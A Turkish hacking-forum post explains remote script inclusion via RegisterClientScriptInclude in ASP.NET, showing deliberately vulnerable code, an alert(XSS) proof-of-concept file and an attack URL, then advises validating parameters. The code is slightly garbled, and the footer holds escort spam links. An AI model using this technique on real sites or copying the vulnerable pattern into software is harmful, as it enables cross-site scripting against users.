⚠️ ÖNEMLİ DUYURU — KİŞİSEL VERİ VE YASADIŞI PAYLAŞIMLAR

Forumda kişisel bilgi (ad, adres, telefon vb.) veya yasa dışı içerik paylaşımı kesinlikle yasaktır. Bu tür paylaşımlar KVKK ve ilgili yasalar gereği suç teşkil eder.

Paylaşım yapan kullanıcıların hesapları kalıcı olarak kapatılacak ve resmî makamlara bildirilecektir. Forum yönetimi, yasal zorunluluklar gereği IP ve oturum kayıtlarını saklamaktadır.

Lütfen gizliliğe ve topluluk kurallarına dikkat ediniz. — Ajanlar.Org Yönetimi

ASP.NET Sistemlerinde ~ Dot Dot Slash

LuXas

Yeni Üye
Katılım
27 Nis 2016
Mesajlar
168
Tepkime puanı
0
Puanları
0
Web sitesi
twitter.com
A7Va4r.png


RFI saldırılarını göz önüne alacak olursak arkadaşlar ASP.NET uygulamaları yaygın olarak kullanılan PHP uygulamalarına göre daha güvenilirdirler , nedeninden bahsedecek olursak .NET uygulama çatısı özellikle PHP gibi uzak sunucuda bulunan zararlı kod parçasının alıp uygulamanın bir parçasıymış gibi yorumlanmaz.Dolayısıyla uygulama geliştirme esnasında özellikle bir dinamik kod yorumlama için özelleştirilmiş metotlar kullanılmamış ise bu tür zaafiyetin oluşması çokta olası değildir. Dinamik kod yorumlama için yazılabilecek metotlarda açıkcası klasik web uygulamaları içerisinde ihtiyaç duyulan özelliklerden değildir.

Amma velakin ASP.NET uygulamaları uzaktan istemci taraflı kodların çalıştırılmasına olanak sağlamaktadır. Örnek olarak aşağıda yazacağımız kod parçasını inceleyelim ;

protected **** Page_Load(object sender, EventArgs e)
{

string js = Request.QueryString[’’js’’];

if (js == null) { js = ’’js/deneme.js’’;

} page.clientscript.registerclientscriptinclude(this .GetType(),’’test.js’’,js);

}


’’RegisterClientScriptİnclude’’ tırnak içerisinde belirtmiş olduğumuz kod yerel veya uzak sunucudan javascript kodları uygulama içine eklenebilir.Eğer eklenecek javascript kod dosyası kullanıcıdan gelen bir parametre yardımı ile sağlanıyor ise bu parametrenin manipüle edilmesi sayesinde uzak sunucuda bulunan kod parçacığı uygulamaya ekletilip , çalıştırılabilir.


Şimdi örnekleyecek olursak ;


[ismail@asprfı]# cat shell.js
alert(XSS);


Şimdi uzak sunucumuzda oluşturduğumuz shell.js dosyasının içeriğini görüntülemiş olduk , şimdi bunu asp.net ile oluşturulmuş sitemizde zaafiyet denemesi olarak kullanalım ;


Http://www.sdss.com/rfı.aspx?js=www.ssssda.com/rfı.aspx?js=shell.js


İlgili dosya javascript kodu icra edilecek ve XSS zaafiyeti oluşturulacaktır , dolayısıyla kullanıcılardan alınan parametrelerin herhangi bir kontrolen geçmeden registerclientscriptınclude içerisinde kullanılmaması gerekmektedir .

j3Mkzg.png
[/hide]​
 

mersin escort mersin e ticaret bodrum escort fethiye escort alanya escort konya escort konya escort bodrum escort vozol sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort Vitamin, Takviye ve Dermokozmetik Ürünler
Üst
Copyright® Ajanlar.org 2012